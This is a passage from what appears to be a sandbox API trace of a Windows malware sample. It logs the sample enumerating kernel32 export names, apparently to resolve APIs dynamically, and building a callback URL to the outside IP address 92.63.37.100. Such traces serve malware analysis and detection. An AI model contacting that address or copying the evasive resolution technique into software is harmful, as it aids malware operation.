(in: lpString1=0x2c4f2a0, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0055.530] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0055.530] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0055.530] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0055.531] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0055.531] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0055.531] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0055.531] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0055.531] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0055.531] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0055.531] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0055.531] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0055.531] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0055.531] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0055.531] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0055.531] lstrlenA (lpString="CREATETHREAD") returned 12 [0055.531] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0055.531] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0055.531] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0055.531] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0055.531] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0055.531] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0055.531] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0055.531] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0055.531] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0055.531] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0055.531] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0055.531] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0055.531] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0055.531] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0055.531] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0055.531] lstrlenA (lpString="CREATETIMERQUEUETIMER") returned 21 [0055.531] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateToolhelp32Snapshot" | out: lpString1="CreateToolhelp32Snapshot") returned="CreateToolhelp32Snapshot" [0055.531] lstrlenA (lpString="CREATETOOLHELP32SNAPSHOT") returned 24 [0055.531] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateWaitableTimerA" | out: lpString1="CreateWaitableTimerA") returned="CreateWaitableTimerA" [0055.531] lstrlenA (lpString="CREATEWAITABLETIMERA") returned 20 [0055.532] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateWaitableTimerExA" | out: lpString1="CreateWaitableTimerExA") returned="CreateWaitableTimerExA" [0055.532] lstrlenA (lpString="CREATEWAITABLETIMEREXA") returned 22 [0055.532] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateWaitableTimerExW" | out: lpString1="CreateWaitableTimerExW") returned="CreateWaitableTimerExW" [0055.532] lstrlenA (lpString="CREATEWAITABLETIMEREXW") returned 22 [0055.532] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateWaitableTimerW" | out: lpString1="CreateWaitableTimerW") returned="CreateWaitableTimerW" [0055.532] lstrlenA (lpString="CREATEWAITABLETIMERW") returned 20 [0055.532] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CtrlRoutine" | out: lpString1="CtrlRoutine") returned="CtrlRoutine" [0055.532] lstrlenA (lpString="CTRLROUTINE") returned 11 [0055.532] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeactivateActCtx" | out: lpString1="DeactivateActCtx") returned="DeactivateActCtx" [0055.532] lstrlenA (lpString="DEACTIVATEACTCTX") returned 16 [0055.532] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DebugActiveProcess" | out: lpString1="DebugActiveProcess") returned="DebugActiveProcess" [0055.532] lstrlenA (lpString="DEBUGACTIVEPROCESS") returned 18 [0055.532] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DebugActiveProcessStop" | out: lpString1="DebugActiveProcessStop") returned="DebugActiveProcessStop" [0055.532] lstrlenA (lpString="DEBUGACTIVEPROCESSSTOP") returned 22 [0055.532] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DebugBreak" | out: lpString1="DebugBreak") returned="DebugBreak" [0055.532] lstrlenA (lpString="DEBUGBREAK") returned 10 [0055.532] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DebugBreakProcess" | out: lpString1="DebugBreakProcess") returned="DebugBreakProcess" [0055.532] lstrlenA (lpString="DEBUGBREAKPROCESS") returned 17 [0055.532] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DebugSetProcessKillOnExit" | out: lpString1="DebugSetProcessKillOnExit") returned="DebugSetProcessKillOnExit" [0055.532] lstrlenA (lpString="DEBUGSETPROCESSKILLONEXIT") returned 25 [0055.532] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DecodePointer" | out: lpString1="DecodePointer") returned="DecodePointer" [0055.532] lstrlenA (lpString="DECODEPOINTER") returned 13 [0055.532] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DecodeSystemPointer" | out: lpString1="DecodeSystemPointer") returned="DecodeSystemPointer" [0055.532] lstrlenA (lpString="DECODESYSTEMPOINTER") returned 19 [0055.532] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DefineDosDeviceA" | out: lpString1="DefineDosDeviceA") returned="DefineDosDeviceA" [0055.532] lstrlenA (lpString="DEFINEDOSDEVICEA") returned 16 [0055.532] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DefineDosDeviceW" | out: lpString1="DefineDosDeviceW") returned="DefineDosDeviceW" [0055.532] lstrlenA (lpString="DEFINEDOSDEVICEW") returned 16 [0055.532] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DelayLoadFailureHook" | out: lpString1="DelayLoadFailureHook") returned="DelayLoadFailureHook" [0055.532] lstrlenA (lpString="DELAYLOADFAILUREHOOK") returned 20 [0055.532] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeleteAtom" | out: lpString1="DeleteAtom") returned="DeleteAtom" [0055.532] lstrlenA (lpString="DELETEATOM") returned 10 [0055.532] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeleteBoundaryDescriptor" | out: lpString1="DeleteBoundaryDescriptor") returned="DeleteBoundaryDescriptor" [0055.533] lstrlenA (lpString="DELETEBOUNDARYDESCRIPTOR") returned 24 [0055.533] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeleteCriticalSection" | out: lpString1="DeleteCriticalSection") returned="DeleteCriticalSection" [0055.533] lstrlenA (lpString="DELETECRITICALSECTION") returned 21 [0055.533] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeleteFiber" | out: lpString1="DeleteFiber") returned="DeleteFiber" [0055.533] lstrlenA (lpString="DELETEFIBER") returned 11 [0055.533] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeleteFileA" | out: lpString1="DeleteFileA") returned="DeleteFileA" [0055.533] lstrlenA (lpString="DELETEFILEA") returned 11 [0055.533] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeleteFileTransactedA" | out: lpString1="DeleteFileTransactedA") returned="DeleteFileTransactedA" [0055.533] lstrlenA (lpString="DELETEFILETRANSACTEDA") returned 21 [0055.533] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeleteFileTransactedW" | out: lpString1="DeleteFileTransactedW") returned="DeleteFileTransactedW" [0055.533] lstrlenA (lpString="DELETEFILETRANSACTEDW") returned 21 [0055.533] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeleteFileW" | out: lpString1="DeleteFileW") returned="DeleteFileW" [0055.533] lstrlenA (lpString="DELETEFILEW") returned 11 [0055.533] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeleteProcThreadAttributeList" | out: lpString1="DeleteProcThreadAttributeList") returned="DeleteProcThreadAttributeList" [0055.533] lstrlenA (lpString="DELETEPROCTHREADATTRIBUTELIST") returned 29 [0055.533] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeleteTimerQueue" | out: lpString1="DeleteTimerQueue") returned="DeleteTimerQueue" [0055.533] lstrlenA (lpString="DELETETIMERQUEUE") returned 16 [0055.533] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeleteTimerQueueEx" | out: lpString1="DeleteTimerQueueEx") returned="DeleteTimerQueueEx" [0055.533] lstrlenA (lpString="DELETETIMERQUEUEEX") returned 18 [0055.533] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeleteTimerQueueTimer" | out: lpString1="DeleteTimerQueueTimer") returned="DeleteTimerQueueTimer" [0055.533] lstrlenA (lpString="DELETETIMERQUEUETIMER") returned 21 [0055.533] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeleteVolumeMountPointA" | out: lpString1="DeleteVolumeMountPointA") returned="DeleteVolumeMountPointA" [0055.533] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTA") returned 23 [0055.533] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeleteVolumeMountPointW" | out: lpString1="DeleteVolumeMountPointW") returned="DeleteVolumeMountPointW" [0055.533] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTW") returned 23 [0055.533] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeviceIoControl" | out: lpString1="DeviceIoControl") returned="DeviceIoControl" [0055.533] lstrlenA (lpString="DEVICEIOCONTROL") returned 15 [0055.533] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DisableThreadLibraryCalls" | out: lpString1="DisableThreadLibraryCalls") returned="DisableThreadLibraryCalls" [0055.533] lstrlenA (lpString="DISABLETHREADLIBRARYCALLS") returned 25 [0055.533] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DisableThreadProfiling" | out: lpString1="DisableThreadProfiling") returned="DisableThreadProfiling" [0055.533] lstrlenA (lpString="DISABLETHREADPROFILING") returned 22 [0055.533] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DisassociateCurrentThreadFromCallback" | out: lpString1="DisassociateCurrentThreadFromCallback") returned="DisassociateCurrentThreadFromCallback" [0055.533] lstrlenA (lpString="DISASSOCIATECURRENTTHREADFROMCALLBACK") returned 37 [0055.533] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DisconnectNamedPipe" | out: lpString1="DisconnectNamedPipe") returned="DisconnectNamedPipe" [0055.534] lstrlenA (lpString="DISCONNECTNAMEDPIPE") returned 19 [0055.534] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DnsHostnameToComputerNameA" | out: lpString1="DnsHostnameToComputerNameA") returned="DnsHostnameToComputerNameA" [0055.534] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEA") returned 26 [0055.534] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DnsHostnameToComputerNameW" | out: lpString1="DnsHostnameToComputerNameW") returned="DnsHostnameToComputerNameW" [0055.534] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEW") returned 26 [0055.534] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DosDateTimeToFileTime" | out: lpString1="DosDateTimeToFileTime") returned="DosDateTimeToFileTime" [0055.534] lstrlenA (lpString="DOSDATETIMETOFILETIME") returned 21 [0055.534] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DosPathToSessionPathA" | out: lpString1="DosPathToSessionPathA") returned="DosPathToSessionPathA" [0055.534] lstrlenA (lpString="DOSPATHTOSESSIONPATHA") returned 21 [0055.534] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DosPathToSessionPathW" | out: lpString1="DosPathToSessionPathW") returned="DosPathToSessionPathW" [0055.534] lstrlenA (lpString="DOSPATHTOSESSIONPATHW") returned 21 [0055.534] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DuplicateConsoleHandle" | out: lpString1="DuplicateConsoleHandle") returned="DuplicateConsoleHandle" [0055.534] lstrlenA (lpString="DUPLICATECONSOLEHANDLE") returned 22 [0055.534] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DuplicateHandle" | out: lpString1="DuplicateHandle") returned="DuplicateHandle" [0055.534] lstrlenA (lpString="DUPLICATEHANDLE") returned 15 [0055.534] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EnableThreadProfiling" | out: lpString1="EnableThreadProfiling") returned="EnableThreadProfiling" [0055.534] lstrlenA (lpString="ENABLETHREADPROFILING") returned 21 [0055.534] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EncodePointer" | out: lpString1="EncodePointer") returned="EncodePointer" [0055.534] lstrlenA (lpString="ENCODEPOINTER") returned 13 [0055.534] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EncodeSystemPointer" | out: lpString1="EncodeSystemPointer") returned="EncodeSystemPointer" [0055.534] lstrlenA (lpString="ENCODESYSTEMPOINTER") returned 19 [0055.534] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EndUpdateResourceA" | out: lpString1="EndUpdateResourceA") returned="EndUpdateResourceA" [0055.534] lstrlenA (lpString="ENDUPDATERESOURCEA") returned 18 [0055.534] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EndUpdateResourceW" | out: lpString1="EndUpdateResourceW") returned="EndUpdateResourceW" [0055.534] lstrlenA (lpString="ENDUPDATERESOURCEW") returned 18 [0055.534] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EnterCriticalSection" | out: lpString1="EnterCriticalSection") returned="EnterCriticalSection" [0055.534] lstrlenA (lpString="ENTERCRITICALSECTION") returned 20 [0055.534] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EnumCalendarInfoA" | out: lpString1="EnumCalendarInfoA") returned="EnumCalendarInfoA" [0055.534] lstrlenA (lpString="ENUMCALENDARINFOA") returned 17 [0055.534] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EnumCalendarInfoExA" | out: lpString1="EnumCalendarInfoExA") returned="EnumCalendarInfoExA" [0055.534] lstrlenA (lpString="ENUMCALENDARINFOEXA") returned 19 [0055.534] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EnumCalendarInfoExEx" | out: lpString1="EnumCalendarInfoExEx") returned="EnumCalendarInfoExEx" [0055.534] lstrlenA (lpString="ENUMCALENDARINFOEXEX") returned 20 [0055.534] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EnumCalendarInfoExW" | out: lpString1="EnumCalendarInfoExW") returned="EnumCalendarInfoExW" [0055.535] lstrlenA (lpString="ENUMCALENDARINFOEXW") returned 19 [0055.535] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EnumCalendarInfoW" | out: lpString1="EnumCalendarInfoW") returned="EnumCalendarInfoW" [0055.535] lstrlenA (lpString="ENUMCALENDARINFOW") returned 17 [0055.535] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EnumDateFormatsA" | out: lpString1="EnumDateFormatsA") returned="EnumDateFormatsA" [0055.535] lstrlenA (lpString="ENUMDATEFORMATSA") returned 16 [0055.535] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EnumDateFormatsExA" | out: lpString1="EnumDateFormatsExA") returned="EnumDateFormatsExA" [0055.535] lstrlenA (lpString="ENUMDATEFORMATSEXA") returned 18 [0055.535] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EnumDateFormatsExEx" | out: lpString1="EnumDateFormatsExEx") returned="EnumDateFormatsExEx" [0055.535] lstrlenA (lpString="ENUMDATEFORMATSEXEX") returned 19 [0055.535] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EnumDateFormatsExW" | out: lpString1="EnumDateFormatsExW") returned="EnumDateFormatsExW" [0055.535] lstrlenA (lpString="ENUMDATEFORMATSEXW") returned 18 [0055.535] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EnumDateFormatsW" | out: lpString1="EnumDateFormatsW") returned="EnumDateFormatsW" [0055.536] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x2ef0000 [0055.536] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2f00000 [0055.536] GetTickCount () returned 0x1d1a0 [0055.536] GetTickCount () returned 0x1d1a0 [0055.536] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0055.537] wsprintfA (in: param_1=0x2ef0000, param_2="http://%s%s" | out: param_1="http://92.63.37.100/post/checkout/mkgqp.cgi?iii=8128v5") returned 54 [0055.537] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0055.538] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x2f30000 [0055.538] VirtualAlloc (lpAddress=0x0, dwSize=0x24, flAllocationType=0x3000, flProtect=0x4) returned 0x2f40000 [0055.538] VirtualAlloc (lpAddress=0x0, dwSize=0x30, flAllocationType=0x3000, flProtect=0x4) returned 0x2f50000 [0055.538] lstrlenA (lpString="kernel32.dll") returned 12 [0055.539] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0055.539] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0055.539] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0055.539] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0055.539] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0055.539] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0055.539] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0055.539] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0055.539] lstrlenA (lpString="ADDATOMA") returned 8 [0055.539] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0055.539] lstrlenA (lpString="ADDATOMW") returned 8 [0055.539] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0055.539] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0055.539] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0055.539] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0055.539] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0055.539] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0055.539] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0055.539] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0055.539] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0055.539] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0055.539] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0055.539] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0055.539] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0055.539] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0055.539] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0055.539] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0055.539] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0055.539] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0055.539] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0055.539] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0055.539] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0055.539] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0055.539] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0055.539] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0055.540] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0055.540] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0055.540] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0055.540] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0055.540] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0055.540] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0055.540] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0055.540] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0055.540] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0055.540] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0055.540] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0055.540] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0055.540] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0055.540] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0055.540] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0055.540] lstrlenA (lpString="BACKUPREAD") returned 10 [0055.540] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0055.540] lstrlenA (lpString="BACKUPSEEK") returned 10 [0055.540] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0055.540] lstrlenA (lpString="BACKUPWRITE") returned 11 [0055.540] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0055.540] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0055.540] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0055.540] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0055.540] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0055.540] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0055.540] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0055.540] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0055.540] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0055.540] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0055.540] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0055.540] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0055.540] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0055.540] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0055.540] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0055.541] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0055.541] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0055.541] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0055.541] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0055.541] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0055.541] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0055.541] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0055.541] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0055.541] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0055.541] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0055.541] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0055.541] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0055.541] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0055.541] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0055.541] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0055.541] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0055.541] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0055.541] lstrcpyA 